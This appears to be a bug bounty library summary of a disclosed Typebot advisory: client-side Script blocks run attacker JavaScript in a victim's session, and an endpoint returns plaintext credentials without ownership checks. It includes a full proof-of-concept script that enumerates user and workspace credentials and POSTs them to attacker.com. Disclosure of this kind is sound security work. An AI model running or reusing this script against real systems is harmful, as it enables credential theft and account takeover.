# Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass

Typebot client-side Script blocks run attacker JS in a victim's session, and getCredentials returns plaintext API keys without ownership checks, leaking all stored credentials.

- Payout: Research
- Severity: high
- Program: Typebot
- Found by: Deyvi-dev
- Disclosed: 2026-01-22
- CVE: CVE-2025-65098
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4xc5-wfwc-jw47
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4xc5-wfwc-jw47
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:rest technique:chained vuln:access-control vuln:secrets-leak vuln:xss

**Target:** Typebot embed JS Script block and tRPC credentials API
**Root cause:** Script blocks with 'Execute on client' run arbitrary JS in the victim's authenticated browser context, and /api/trpc/credentials.getCredentials only checks authentication, not credential ownership, returning plaintext secrets.
**Steps:**
1. Create a typebot in the Builder and add a Script block with 'Execute on client' enabled.
2. Paste JS that calls `credentials.listCredentials` then `credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"<id>"}}` with `credentials: "include"`.
3. Loop over workspace credentials via `workspace.listWorkspaces` and `credentials.listCredentials` with `scope: "workspace"`.
4. POST collected plaintext secrets to `https://attacker.com/exfil`.
5. Share the typebot; when the victim clicks 'Run' to preview, the script executes and exfiltrates all credentials.
**Exploitation:** Attacker shares a malicious typebot; victim previews it, the client-side script runs with their session cookie, enumerates user and workspace credentials, fetches each in plaintext via the unauthenticated-ownership getCredentials endpoint, and POSTs them to the attacker.
**Escalation:** Enumerates both user-scope and every workspace-scope credential via listWorkspaces, maximizing stolen secrets (OpenAI keys, Google Sheets tokens, SMTP passwords).
**Insight:** Client-side script/embed features that run in a viewer's authenticated origin turn any IDOR in the same API into full credential theft; check whether secret-returning endpoints verify ownership, not just session.

## Proof of concept (copied exactly from the original report)

**Script block exfiltrating all credentials**

```
const exfil = async () => {
  const data = { credentials: [] };

  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];

  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
        ),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({
      name: d.result.data.json.name,
      type: c.type,
      apiKey: d.result.data.json.data.apiKey,
      fullData: d.result.data.json.data,
    });
  }

  const ws = await fetch(
    "https://app.typebot.io/api/trpc/workspace.listWorkspaces",
    { credentials: "include" }
  );
  const workspaces = (await ws.json()).result.data.json.workspaces;

  for (const w of workspaces) {
    const wsList = await fetch(
      "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
        ),
      { credentials: "include" }
    );
    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

    for (const c of wsCreds) {
      const full = await fetch(
        "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
          encodeURIComponent(
            JSON.stringify({
              json: {
                workspaceId: w.id,
                scope: "workspace",
                credentialsId: c.id,
              },
            })
          ),
        { credentials: "include" }
      );
      const d = await full.json();
      data.credentials.push({
        workspace: w.name,
        name: d.result.data.json.name,
        type: c.type,
        fullData: d.result.data.json.data,
      });
    }
  }

  await fetch("https://attacker.com/exfil", {
    method: "POST",
    body: JSON.stringify(data),
  });
};
await exfil();
```

**getCredentials request returning plaintext API key**

```
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response:
{
  "result": {
    "data": {
      "json": {
        "name": "My OpenAI Key",
        "data": { "apiKey": "sk-proj-abc123...xyz789"
```

